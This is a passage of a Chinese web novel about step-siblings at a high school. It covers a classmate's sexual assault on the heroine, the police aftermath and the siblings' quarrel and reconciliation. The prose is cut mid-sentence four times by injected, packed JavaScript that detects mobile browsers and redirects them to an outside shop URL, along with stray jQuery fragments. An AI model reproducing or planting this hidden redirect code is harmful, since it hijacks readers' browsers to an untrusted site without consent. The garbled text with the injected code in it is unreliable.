程嘉临的回答是轻手轻脚推着她进了厨房。
明歌身为典型的低精力人群,对这种行为不是很能理解,“你要自己做吃的?不是有外卖吗?”
“现在还在营业的外卖我都不喜欢。”
程大少爷的挑剔永远能以压倒性优势干掉懒惰。
念在程嘉临是因为她才没吃上晚饭,明歌放弃找理由上楼睡觉的想法,一边问“你想吃什么”,一边打开冰箱。
程嘉临不知道从哪翻出了宋阿姨平常戴的围裙,像模像样地挂在自己脖子上,给明歌展示刚搜到的教程:番茄鲜虾面。
明歌上下扫了一眼:“没看到虾,虾滑行吗?蔬菜放玉米和生菜。”
“行。”程嘉临自信满满地挤到冰箱前,拿出一颗油麦菜,开朗地问,“这是生菜吗?”
明歌把他赶到了岛台上。
起锅倒油,番茄炒出汁,开水下虾滑,然后放面和蔬菜,加调味料,盖盖子焖几分钟,一气呵成,明歌关火掀盖,浓郁的酸甜香味扑鼻而来。
程嘉临默默摘下围裙,十分有眼力见地给明歌递上两个碗。
明歌把同时煮好的流心蛋一切两半,全都放进了程嘉临碗里。
程嘉临愣了愣:“你不吃吗?”
明歌摇头,她不喜欢流心的。
可宋阿姨煮蛋时为了照顾程嘉临的口味,全都煮成了流心的,明歌吃的时候一点别的表情都没有。
那她喜欢番茄吗?虾滑呢?玉米呢?生菜还是油麦菜?
她不吃芒果是因为过敏,那吃草莓是因为真的喜欢吗?
程嘉临这么想,也这么问出了口。
明歌咬着虾滑含糊不清地说:“还好,我不挑食。”
程嘉临停了筷子,定定地看着她。后者被他看得心里发毛,问:“不好吃?”
特别好吃。程嘉临汤都没剩下,吃完主动请缨洗碗。
明歌怀疑他到底会不会用洗碗机,好在他们家少爷虽然生活常识不够,但是较高的智商很好地弥补了这一点,大致看了一眼就研究明白洗碗机的用法,也没有把碗摔碎。
程嘉临边收拾碗边闲聊:“你什么时候学的做饭?”
明歌发饭晕,随口说:“没特意学过啊。以前不想吃外卖的时候自己琢磨出来的。”
有史以来第一次,明歌提起在江明的事情。
像小心翼翼探出头的嫩芽,程嘉临生怕浇水浇过头小芽又趴回去,斟酌着问:“苏叔叔不在家吗?”
“我爸?”明歌没什么特别的反应,“他只有谈恋爱的时候才会偶尔带着人一起回家,一般我们两十天半个月都不一定能见上一面。”
“你会想他吗?”
“你不如问我平时能不能想得起来他。要不是我那天恰好路过他公司楼下,说不定要等到他葬礼那天,他的同事或者情人才会通知我,我爸不是没回家而是死了。”
很平淡的语气,好像生死在她那里,只是一件比吃饭喝水还要无足轻重的小事。她既不敬畏死亡本身,也不为苏海伤心。
既然如此,那急救的手法为什么这么熟练,熟练到像反复演练过千百次,为什么在溺水的小孩儿开始呼吸后反而止不住地流眼泪,为什么被他拥抱住的时候,抖得那么厉害。
她拥有柔软温顺的外表,却浑身尖刺,满口谎话。
短暂发芽的种子发现有不知好歹的猫在扒拉它,眨眼间钻回了土里。
懊恼的猫只好绕着那一小片土地,追着自己毛茸茸的尾巴团团转。
“我困了。”最后明歌说。
程嘉临垂下眼睛:“晚安。”
*
“女童被浪卷走,路人少女果断出手相救,和死神生死时速”——明歌救人的视频被发到了网上,挂了几天本地热门榜,营销号纷纷转发,本市中小学掀起一股开展急救课堂讲座的热潮。
“路人少女”本人坐在报告厅里玩手机,对这一连锁反应十分满意。
原因无他,听讲座不用坐在教室里上课。
而且发布者给她全身都打了码,全网都不知道这个见义勇为的路人就是明歌。
程嘉临倒是单独私信了在评论区寻人的孩子的母亲,一周前俩人去医院看望小女孩时,他们全家人又是送锦旗又是合照,现在锦旗和照片都在明歌房间抽屉里压着。
程嘉临拍拍明歌的手臂:“宣传部在拍照,别玩了。”
明歌关掉附中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406740|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的班群——她转学后忘记退了,江明也有同学看到了那个视频,有人在群里艾特明歌,问那是不是她。
宣传部拍完,明歌忍不住转头看他:“我早就想问了,你们高三的班,为什么和高二一起听讲座?”
“快转回去,又在拍,那不是你们班那小眼镜儿吗,他也宣传部的?”程嘉临的声音从牙缝里挤出来,“因为我们班这节自习课考数学,身为班长我有义务救同学们于水火之中。”
所以向语文老师隐瞒自习课早有安排的事实,旁敲侧击,成功让她和刘茜沟通,把占了语文课的讲座挪到了这节课。
明歌服了。
讲座占了下午最后一节课,高三还有晚自习,结束后程嘉临组织他们班学生回教室。
郑心榕捂着肚子,小声问明歌:“你有卫生巾吗?”
明歌翻了翻口袋,还真找出一片。郑心榕道了谢,就近去了报告厅外面的洗手间,明歌帮她抱着外套,在门口等她。
洗手间在出去的必经之路上,路过的同学掉了东西,明歌没多想,捡起来还给他,对上蒋述似笑非笑的眼神。
人差不多都走完了,走廊里很安静,郑心榕进去了很久还没有出来。
明歌不想跟蒋述多待,冲他点点头,准备去看看郑心榕。
下一秒,明歌手臂传来剧痛,蒋述的手攥着她手腕,指甲几乎陷入皮肉里。她想甩开,紧接着肩胛骨重重撞在瓷砖墙上。她痛得眼冒金星,等视线重新聚焦,发现自己被蒋述抵在洗手间的角落。
“你在邀请我,对不对?”蒋述唇边的笑意骤然放大,镜片后的眼睛亮得诡异,那眼神似迷恋又似怨恨,一错不错地黏在明歌的脸上,“你是我的小玫瑰……你为什么等到现在?你知不知道我有多……有多……”
明歌胸膛剧烈起伏,电光火石间所有的线索串在一起,言语暧昧的信、黏腻恶心的眼神……还有,还有郑心榕的恐惧。
郑心榕原本就知道吗?
她此刻应该就在某一扇隔间的门板后面,可是明歌听不到一点其他人的动静。
明歌手脚发冷,全身的血液却像被火烤一般沸腾起来,极端的情况让她爆发出自己都震惊的力气,她抬脚狠狠踹上蒋述的膝盖,蒋述“嘭”一声撞上隔间门,明歌趁机往外跑,被洗手池挡了一下,蒋述鬼一样贴上来,勾住她的脖子,把她死死摁进怀里。
呜咽声。
不是明歌发出来的,是隔间里的郑心榕。
她似乎终于受不了了,猛地打开门,连滚带爬跑了出去。
“放开……有人看到了,你不怕吗!”
蒋述潮湿的鼻息喷在明歌后颈,“你在担心我吗?她不敢的,没人会打扰我们……”
出乎蒋述意料的是,郑心榕回来了,她手里攥着明歌掉在外面的手机,颤抖着喊:“放开她,我,我打电话叫人了……”
蒋述的脸色终于沉下来,他骂了一句脏话,推开明歌,揪住郑心榕的衣领:“草,小贱货,你长胆子了,不怕我公开那些照片了?”
郑心榕哭得打嗝,使劲抠蒋述的手指:“你发吧……求你了,不要这样对小歌……”
明歌手伸进口袋,里面有一把拆快递的小刀。
郑心榕已经有点缺氧了,蒋述背对着她,她可以暂时让蒋述失去行动能力。
刀尖已经被推出几寸,突然,混乱的脚步声传来,一个熟悉的身影冲上来,对着蒋述的侧腰一踹。这一脚用了十成十的力,蒋述立刻跪趴在地上,被两个执勤老师摁住。
程嘉临挂断通话,明歌的手机屏幕也暗了下去。
郑心榕猜出了她的密码,把程嘉临叫回来了。
12. 尖牙
派出所。
郑心榕从讯问室出来,双眼红肿。做完笔录的程嘉临靠在墙边,表情严肃,听到动静,冲她小幅度地点了点头。
两个多小时前,走到教学楼门口的程嘉临收到来电显示“小歌”的电话,接起后,预想中明歌的声音没有出现,一个不太熟悉的声音颤巍巍地告诉他,小歌被班长拖进洗手间,紧接着是令人牙酸的尖叫和碰撞声。
“录音……洗手间门口没有、没有监控……”
不需要郑心榕提醒,程嘉临按下录音键,让她别挂断,用最快的速度带执勤老师赶到了现场。
他冲进洗手间,一眼看见里面的情形,一瞬间只觉得心都不会跳了。
明歌背对着门口,跪坐在地上,左手扶着洗手台边缘,另一只手藏在口袋里,她的面前的男生程嘉临认识——不久前,他还举着相机,在报告厅里忙前忙后地拍照;而现在,他双手死死掐着郑心榕的脖颈。
郑心榕已经连挣扎的力气都快没有了。
明歌撑着洗手台缓缓站起,听见动静,还没来得及回头,程嘉临就冲了上去,一脚踹开蒋述。
蒋述撞出惊天动地的声响,郑心榕脱力地倒在地上咳嗽,明歌诧异地回头,眼睛亮得惊人,带着未收回的戾气,像某种……盯准了猎物的小兽。
程嘉临一把将她扣进怀里。
“没事了……没事了……别怕……”
说别怕的是程嘉临,他抖得却比明歌还要厉害。明歌闭了闭眼,回抱住他,轻轻拍他的脊背,再开口时,语气中带了一丝颤抖:“哥……”
程嘉临狠狠地闭眼,不敢再回忆刚才那副让他血液倒灌的情景。
警局走廊的白炽灯亮得刺眼,程嘉临呼出一口气。
要是他没接到电话,要是他晚到一步,要是……
要是明歌真的遭受到无可逆转的伤害,明歌该怎么办,他该怎么办?
“学长。”
这声音细若蚊呐,程嘉临回过神,哑声问郑心榕:“你还没回去?”
郑心榕低声说:“对不起,都是因为我才……”
程嘉临摇头:“不用道歉,你也是受害者,我……”
“不是,不是的。”郑心榕突然哭起来,“蒋述是因为我才会盯上小歌,如果不是我的话,他们根本不会……”
程嘉临心头一跳,猛地抬头,错愕道:“什么?”
郑心榕贴着墙壁慢慢蹲下去,她压抑着哭腔,断断续续地告诉程嘉临整件事情的始末。
“蒋述,从高一开始就,就主动接近我……我太蠢了,我以为他是喜欢我,他经常把我单独约出去,除了他,我在班里一个能说上话的朋友都没有……后来,后来我以为我在跟他谈恋爱,但是他强迫我拍了很多‘那种’照片,我想反抗的时候已经来不及了,他威胁我,我实在太害怕了……”
程嘉临脑子一片空白,打断她:“这和小歌有什么关系?”
“一开始我是想,我和别人一起行动,蒋述就没机会接近我了,刚好小歌是转学生,她在班里也不认识其他人。再然后……”郑心榕剧烈地抖动了一下,崩溃地说,“蒋述确实不再一直骚扰我了,但是我在小歌的抽屉里发现了那些恶心的信……我知道那些信是蒋述给的,他以前也给我写过一样的,可是我不敢说,我怕我一说,蒋述又会缠上我……”
“我以为小歌这种成绩又好家境又好的人,蒋述不敢惹的……”
程嘉临脑子嗡的一声,信,那些信,他也想起来了,林霞几周前才找他问过话,可是他一点不对劲都没有察觉到。
明歌不愿意多说,他当时为什么就没能多问一句?
程嘉临指节攥得发白,一拳砸在墙上:“操。”
郑心榕哭得上气不接下气,颠三倒四地道歉:“对不起,都是我的错,对不起……”
“你该道歉的不是我。”郑心榕作为事实受害者,程嘉临无法对她说出更过分的话,只能冷冷地下逐客令,“这些话你和小歌说,她接不接受是她的事,你回去吧,不要出现在我面前。”
*
程嘉临等到明歌从询问室出来,把自己的外套披在她身上。
走廊尽头,程明谦从等候区走过来,后面跟着明诗悦。
“走吧,回家。”程明谦说。
他看了程嘉临和明歌一眼,什么都没问。刚才民警已经把情况都告诉了他,在他的强硬要求下,学校和警方都再三保证一定会严肃处理本次性质恶劣的校园侵犯事件。
明歌跟在他们后面,张了张口,欲言又止。
明歌今晚第一次见到郑心榕的母亲,那是个瘦弱的女人,头发干枯,染成那种在中年女人中很流行的棕黄色,应当是有一段时间没打理过,发根处的发色出现了断层,明显是被淘汰下来的旧校服挂在她干瘪的身体上,松垮到可笑。
她进警局大门的第一件事,就是狠狠地扇了郑心榕一巴掌
“你他妈跟你那个没用的老子一样,就会给老娘丢脸!”
她的声音尖锐刺耳,郑心榕被她打得退了半步,捂着脸,明歌觉得她再哭下去眼泪都要流干了。
明歌其实想问郑心榕的情况,但是觑到程嘉临阴沉的脸色,滚到嘴边的话拐了个弯,老老实实叫:“哥哥。”
程嘉临“嗯”了一声。
四个人一起走出派出所。
明诗悦抱着胳膊无声落泪,程明谦和程嘉临气压一个比一个低,一车四个人,情绪最平稳的竟然是明歌。
明歌愤怒,却没感到多害怕,她当时已经瞄准了蒋述的大腿,那把小刀并非管制刀具,只要不划到动脉,她就可以跑出去并且不会因为伤人被追责。
只是收集蒋述强制侵犯的证据会麻烦一点,不如人赃并获来得快。
街灯明灭。忽明忽暗的光线里,明歌透过后视镜,看到程嘉临紧绷的唇线。
他天生一副冷脸,这会儿却格外冷一点,除了对今晚这件事本身的不满,好像还掺杂了一点儿别的情绪。
他进派出所之前还好好的,怎么一出来就这副模样,连明诗悦都安慰了明歌两句,他却什么也不说。
为什么?他不高兴?
程明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406741|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谦和明诗悦应该注意不到他们的小动作,借着前排椅背的遮掩,明歌的手指“走”了几步,碰到程嘉临的指尖。
她像小动物嗅闻同类一样,试探着碰了碰的皮肤,见他没反应,又攀上他的手背。
明歌安静地等待了一会,最终按捺不住,焦急地翻越过程嘉临的虎口,用小指勾住他的食指。
程嘉临指节蜷了一下,就着这个姿势捏了捏她的掌心。
明歌刚想回握他,他却飞快地把手抽走。
明歌:……?
她突然很焦躁。
*
宋阿姨虽然能从他们一家四口的态度中看出有事发生,却极有分寸地什么都没问,只按照程明谦的要求提前准备好饭菜,等他们一起回来吃饭。
这还是年后他们四个人第一次同桌吃饭。
明诗悦吃了两口就放下筷子,柔弱地靠在程明谦怀里:“是我失职……小歌从来都没有说过她在学校的事情,我应该多问问她还有她的老师……”
她满脸倦容,程明谦搓了搓她的手臂,沉默良久,“不是你的错。”
“这段时间我申请在家办公,多陪陪小歌。”
明歌对明诗悦接下来的工作安排兴致缺缺,她默默吃饭,余光时不时滑到程嘉临身上。
程嘉临夹菜她也夹,程嘉临盛汤她也喝汤,程嘉临吃好了放下碗上楼,她等了一分钟,追上去。
明歌伸手抵住他的房门,露出在他那屡试不爽的讨好的眼神。
程嘉临低头看她,不为所动:“我要洗澡。”
明歌愣了一下,身上动作却不停,仗着体型优势(和程嘉临不会真的一门板把她拍出去)往门缝里拱。
像小狗一样。
这只小狗看起来聪明温驯,有柔软蓬松的漂亮毛发和尖锐的爪牙,但是缺乏最基本的危机意识,并且读不懂他人的惊惶和后怕。
就像现在,刚经历过那种事,她还能毫无顾忌地进入另一个同龄男生的房间,就连程嘉临把她往里面拉,她还是一点要反抗的意识都没有。
程嘉临把她摁在椅子上,手伸向她的腰侧。
明歌的表情终于变了,她用力推开程嘉临的手,不像是害怕或者生气,更像是在隐藏什么东西。
“哥哥,你想干什么?”
程嘉临轻易制住她的手,从她口袋里摸出一把小刀,刀刃偏转,反射出灯光。
程嘉临脸色阴沉:“如果你同桌没有打电话,或者我没来,你准备干什么?”
“被他……”他的反应像碰到了非常难以启齿的词语,只能囫囵掠过,从喉咙处挤出含混的音节,“还是不管不顾地用刀捅他?”
房间里异常安静,程嘉临一字一顿地问:“你收到那么多乱七八糟的……信,我问你的时候,你为什么瞒我?”
程嘉临隐去了这个事件中郑心榕的部分,他喉结滚动,眼眶烧得发红,情绪越来越激动,到最后几乎是吼出来:“你知不知道有多危险?明明只要提前说一声就不会这样了,你为什么什么都不说啊?”
明歌懵在原地。
13. 冷战
程嘉临吼完,偏过头,粗鲁地用袖口抹了一把眼睛。
然后在明歌空白的表情中,把她从椅子上拎起来,丢到门外。
门板在身后“啪”地一声合上,明歌愣道:“……哥?”
哥装聋不理她。
程明谦刚上楼,两个孩子的对话听了个大概,他叹口气:“哥哥也是担心你。”
“……我知道。”
明歌嘴上这么说,心底却生出一种十分荒谬的感觉。
程嘉临生气,原因可以是她打乱他原本的计划,可以是她给他带来了一堆麻烦,甚至可以是明歌让他没能按时吃上晚饭,但不能是因为他假设中未发生的后果。
他说的如果并不存在,她为什么要因为不存在的事情承受他的愤怒?
程嘉临还发那么大的火!
明歌第二次敲门无果,原地转了三圈,回屋,锁门,是程嘉临先拒绝沟通,她这次不会主动求和。
*
明诗悦竟然真的申请了居家办公,每天在餐桌上和明歌大眼瞪小眼。
明诗悦真的太久没和明歌正儿八经地相处过,久到她已经失去了给予女儿温情的能力。
她尝试亲自下厨,帮明歌搭配衣服,用温柔的力道抚摸她的头发。
她做的是程嘉临爱吃的菜,给没有耳洞的明歌挑了她自己喜欢的耳钉,伸过来的手仅仅碰到明歌一根发丝就猛然弹开。
明歌冷漠旁观她生硬的表演,在合适的时候给予恰当的喝彩和配合。
她也有看起来很走心的时候,这时一般有程明谦或者程嘉临在场。
程明谦建议她这段时间在家好好休养,暂时不要去学校,他原本给明歌请了一周假,但明歌迫于和明诗悦单独相处的压力,把假期缩减到了三天。
第一天她在生物钟的作用下准时醒来,和程嘉临在走廊上相遇,程嘉临眼尾薄红,眼下有一片淡淡的青色,目不斜视地快速路过她。
明歌补完回笼觉,打开房门,她昨天落在教室的书包凭空出现,书包失去了支撑点,倒在她小腿上,课本和各种各样的笔哗啦啦撒了一地。
隔壁屋大门紧闭,从时间上来说,这会程嘉临应该在午睡。
哥哥装聋装哑装瞎还无视她,但是记得穿过半个学校,再爬上好几层楼,帮她把丢在学校的东西带回家。
晚上,明歌端着刚洗好的蓝莓从厨房出来,和下了晚自习的程嘉临面面相觑。程嘉临书包还在手上拎着,看见她的一瞬间,非常明显地松了口气。
然后脸色一沉,噔噔噔上楼回房,全方位展示何为欲盖弥彰。
明歌:“……”
第二天中午明歌的快递出现在房门口,晚上下楼喝水又和程嘉临撞个正着。
第三天晚上明歌站在二楼,程嘉临进门后焦躁地转了两圈,他抬头张望的同时,明歌看清程嘉临手里拿着她期待已久的再版读物。
明歌:……
程嘉临行动上对明歌再好,态度上依旧十分高贵冷艳。
这一年的天气有些反常,往年六七月份都不太热的宁城,气温在四月猛然攀升。
春季校服是小西装和短裙,裙子的长度堪堪能够遮住明歌膝盖上未消的淤痕。程嘉临也不知道她是热还是不热,还在西装外套里面穿了件开衫卫衣。
明歌的卫衣都五颜六色的,虽然并不违规,但异常显眼,课间操时,程嘉临能很轻易地在他们班的队伍里找到明歌的身影。
蒋述出事的消息不胫而走,一时间整个高二流言不断,关于蒋述到底怎么了传出了八十多个版本。
明歌、郑心榕、蒋述三个人同时请假,许多人自然而然地把他们联系在一起,明歌是最早回来上学的一个人,难免被风言风语所影响。
三班的同学没人说什么,其他班认识她的同学则总会在以为她看不见的地方交换眼神,窃窃私语。
明歌小学时经历过类似的事情,有认识苏海的家长乱说闲话,搞得她所有同学都知道她爸爸一天给她换一个妈妈。
明歌不喜欢这种被围观注视的感觉,但经历的次数多了,也就习惯了,现在她懒得搭理这种事情。
倒是程嘉临对此反应很大,他在家和明歌冷战,某天在班里无意间听到两个男生传明歌和蒋述的八卦,冷着脸踹翻了他们的桌子。
程嘉临心里觉得明歌不应该那么早就回来上学,他不想让明歌处在流言中心,但明歌执意要回来,他只能尽量出现在明歌身边。
在程明谦多次施压的效果下,警方和学校办事效率前所未有的高,很快就给出了处理结果:案件性质恶劣,证据链完整,除了当事人的证言以外,还在蒋述的手机里发现了受害女生的照片。蒋述将被判处五年以上有期徒刑,同时开除学籍。
蒋述家里想尽了办法,但是程明谦没给他们留任何余地。
至于郑心榕……
这已经是郑心榕请假的第七天。
第二次月考放榜,郑心榕没有参加考试,排名挂在班级末尾,分数栏里的“0”格外醒目。
副班长是明歌的前桌,蒋述被退学后暂代班长的职位,她知道明歌和郑心榕总是黏在一起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406742|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,也知道明歌这段时间状态不好,遗憾地对明歌说:“郑心榕可能要转学。”
明歌平静地点头。
副班长以为明歌太伤心以至于不知如何反应,安慰她:“没事,你们以后还可以联系,大学也可以考到同一个城市去啊,她的成绩,考上首都或者江明的学校不算困难。”
明歌不是程嘉临,她的思维里不存在“如果”。郑心榕有无数个机会告诉她真相,她支支吾吾不肯说,明歌就不去做“如果提前知道”的假设。同样,她被蒋述放走后又跑回来,明歌就不会因为“她要是没给程嘉临打电话怎么办”而后怕。
郑心榕的心路历程对她来说不重要,她全盘接受郑心榕的亲热和友善,也不在意来自于她的伤害。
她该在意的也许只有学业。
出了这么大的事,林霞这段时间工作重心全都转移到关心班里同学尤其是明歌的身心健康上,家访做了好几轮,也没再敢狠抓这群孩子的成绩。她原本对这次月考三班的排名不抱希望,没想到明歌再次考上年级第一,把班级平均分拉高了一大截。
学校要更新月考红榜,林霞通知明歌最后一节课去拍光荣榜照片。
不巧,她哥也在。
程嘉临一放假就容易懈怠,开学考和一模考了个稀巴烂,二模终于回到正常水平,往前窜了一百零五个名次,荣获“进步之星”。
程嘉临还是不太理她——语言上的不理,行为上像“Q我吧”的企鹅状态。
简单来说就是拼命找存在感,生怕明歌不知道他生了个天大的气,但是当明歌跟他说话的时候,他又立刻转过头,丢给明歌一个高冷的后脑勺。
明歌只能尽可能地多出现在他视线里,比如穿一眼能看到的卫衣,比如早上掐着点和他同步打开房门,比如明歌不在教室里自习等他一块回家,却找各种各样的理由,在他晚上回来的时间点到客厅转悠。
江乐说了半天,程嘉临突然掉了线似的,她伸手在程嘉临眼前挥了挥:“想什么呢?”
程嘉临回神:“我妹也来了。”
明歌西装外套里面穿了卫衣,拍照的老师觉得服装不统一不好看,明歌于是脱了卫衣,似乎正在找能帮她拿一下衣服的人。
程嘉临越过江乐,朝明歌伸出手。
等他反应过来,一切都来不及了。
程少爷是个体面人,明歌料定他不会在公共场合撂脸子,眼疾手快地把衣服挂到了她哥的小臂上。
挂完之后眨巴眨巴那双清凌凌的大眼睛:“谢谢哥哥。”
程嘉临:“……”
14. 白情小剧场
明歌开学第一周结束前就拿到了校服。
最高兴的是宋阿姨,周末翻出她女儿送她的宝贝拍立得,宣布要给兄妹两个好好留个念。
特意穿着校服在家摆拍实在奇怪,程嘉临忙着玩刚捡回家的小三花,随口答应周一一早出门前拍。
明歌躲猫躲到了二楼,点头表示同意她哥的建议。
结果周一有两个人的愿望落了空。
经过一个周末的洗礼,小程少爷果不其然又没听到起床的闹钟,宋阿姨在楼下催到第三遍时才慢悠悠睁开眼睛。
接着只听叮铃哐啷、噼里啪啦,小程洗漱穿衣一气呵成,下楼梯下出了白虹贯日的气势,还剩几级阶梯的时候直接在扶手上一撑,纵身一跃——
帅气地踩到了一条毛茸茸的尾巴。
猫发出一声巨大的“嗷”,趁程嘉临被猫挠毁容之前,明歌眼疾手快地揪住它的后脖颈,把它塞进猫包。
对,猫包,这就是这天早上第二个悲伤的故事。
程嘉临还没从他起的八个备用名里面挑出最符合他第一只猫气质的名字,明诗悦过敏性鼻炎就犯了。
天要下雨,猫今天就要送人!
程嘉临不禁悲从中来,明歌洗了手出来,发现他隔着猫包都能逗猫玩。
温热、柔软、毛茸茸,一捏就容易死,明歌不能感同身受程嘉临对猫这种脆弱生物的狂热迷恋。
但她能感同身受迟到。
明歌好整以暇地靠在门边:“哥,你还有三分钟吃早饭。”
程嘉临放下猫奔向了餐桌。
三分钟显然不够完成洗手、细嚼慢咽、擦嘴这一系列操作,程少爷洁癖大发作,果断用两分钟洗手,再用半分钟叼走一块面包,最后半分钟用来换鞋同时整理仪容仪表。
刚要出门,宋阿姨噔噔噔走过来:“站住别动。”
程嘉临转身,只听“咔嚓”一声,宋阿姨颇为高兴地他俩拍了张合照。
程嘉临:“……”
他看了看自己的装扮,嘴里叼着面包片,左肩抱背自己的包,右手顺带挎上他妹的包,手心里还抓了一盒牛奶。
收破烂儿的都只带一个大兜,他鸡零狗碎挂了一串儿。(没有看不起拾荒人的意思)
连包都不用背的明歌向他投以无辜的眼神。
程嘉临这一天一有空就在祈祷早上那张拍立得拍毁了,他不想以如此狼狈的姿态上他们家照片墙。
可惜宋阿姨拍照实在稳准狠,程嘉临一进门就往书房钻,和叼着早饭的自己撞了个对脸。
明歌跟进来,看见一墙的照片,“啊”了一声。
她对程家的探索欲为0,日常
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406743|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活动轨迹只有餐厅、客厅和她的房间,偶尔去一次程嘉临房间,从没进过书房,也是第一次见到这面照片墙。
她和程嘉临早上那张拍立得被放在中间偏右下的地方,宋阿姨还用水笔写了标注。
“3月14日。哥哥妹妹第一张合影。”
她问:“什么样的照片会洗出来?”
“什么样的都可以,”程嘉临说,“你有照片想挂?”
明歌想了想:“我觉得是你有。”
她在程嘉临疑惑的目光下点开了手机相册。
小三花、小三花、程嘉临抱小三花。
前几张程嘉临知道,他们找领养人的时候一起拍了很多小猫艺术照,最后一张他抱着猫的,不知道明歌什么时候拍的。
“你纠结是叫她‘花花’还是‘咪咪’的时候我在楼上拍的,”明歌说到这,忍无可忍地皱了下眉,对程嘉临起名的品味不敢苟同,“猫没了,唯一一张合影,做纪念品合格吗?”
这张和小猫的合影里,爱猫人士程嘉临因为动作幅度太大,整颗脑袋都糊了,但是手心里的小猫看起来十分蓬松柔软。
程嘉临第二天就拜托宋阿姨把照片洗了出来,中午回家亲自贴在校服照片旁边。
“3月14日。”程嘉临学宋阿姨写道,“纪念品,来自小猫和小歌。”
15. 橘子酒
程嘉临凶明歌的时候有多硬气,这会儿脸上就有多挂不住。
太阳快要落山,细碎的霞光铺在明歌眼底,他一眼望过去,兵败如山倒。
要不是明歌被老师叫走了,他差一点举双手投降。
他十年没跟人冷战过了,上一次冷战他才八岁,冷战对象是他妈妈,冷战原因是妈女士临时有事去不了他的家长会。
程嘉临忍了这么久不搭理她,除了生气,多少还存了点想让她长记性的心思。
想让她记住,不要什么事都憋在心里,遇到处理不好的情况,要记得跟哥哥说。
这段时间明歌小心翼翼的粘人和讨好他都看在眼里,现在他抱着她的衣服想,这事儿可以翻篇了。
负责拍照的是高二级部一个美术老师,美术老师是个年轻小姑娘,说话柔声细语,干起活来却干净利落,没一会儿就拍完了高二几个学生。
明歌问程嘉临要衣服,手刚伸出去,就打了个惊天动地的喷嚏。
傍晚气温下降,她脱了件衣服,还吹了一阵冷风,纸糊的免疫系统又开始闹情绪。换季是感冒的多发时段,她很大概率这一次也要不幸中招了。
明歌自己是习惯了,程嘉临却如临大敌,被老师叫走的时候一步三回头,当晚端着一杯热气腾腾的姜撞奶叩开明歌的门。
明歌趴在床上打游戏,既没带耳机也没开外放,从程嘉临晚自习回来后就一直竖着耳朵听门外的动静,果然等到了熟悉的敲门声。
一轻两重,哥哥敲个门也有自己的节奏。
她蹦下床,拉开一条门缝,刻薄他:“稀客。”
程嘉临:“……”
他一时竟然分不清到底是谁在生谁的气。
家里的房门都是往里开的,程嘉临推门,没用力,明歌就顺着他的力道把门拉开。
这是两个人都习以为常的举动,意味着默许、宽容和接纳。他们之间的争执被轻飘飘地揭过,明歌不去道歉,程嘉临也没有真的怪她。
不过很快明歌就后悔了,因为程嘉临把姜撞奶往她鼻尖凑,滚烫的辛辣的气味毫无预警地撞进鼻腔,明歌往后一仰,推拒道:“我不要。”
她难得如此直白地表露自己的喜恶,程嘉临新奇道:“宋阿姨炒菜放姜,你不是吃的吗?”
“那不一样。”明歌脸皱成一团,具体哪儿不一样她没说出个所以然,总之不一样,不要,难喝,受不了。
程嘉临来都来了,试图坚持一下,被她顺手抄起个软绵绵的东西,砸在了肩膀上。
程嘉临一手端杯子一手接住那个软绵绵的团子,一气呵成,身手敏捷。他打量了一下手里那个包着保鲜膜的绿油油的小东西,问:“这是什么?青团?”
“嗯。”明歌从零食架上端出一个纸盒,掀开盖子给他看,“江明的朋友寄过来的,他奶奶一到这个季节就会做手工青团。往年他会送到我家,今年就邮到这边了。”
六个圆滚滚的绿团子挤挤挨挨地封在真空袋里,看起来十分憨态可掬。明歌戳了戳其中一个,“寄了很多,哥哥帮我消灭一半?”
程嘉临原本是来让明歌喝一杯姜撞奶驱寒的,现在莫名其妙演变成他自己喝了姜奶,然后和明歌一起分享宋阿姨晚上蒸的从江明远道而来的手工青团。
程嘉临不喜欢口感很黏糊的食物,从小到大,他遇到青团一类的东西都是绕道走。可是明歌一说它来自江明,来自她过去的朋友,他的好奇心就开始膨胀,像猫跳上桌子发现一杯水,明知道推下去玻璃会碎,还是忍不住伸出爪子。
这玩意儿表皮一股草木香,内陷是鲜奶味儿的,放凉后凝固了,有种吃奶块的感觉。
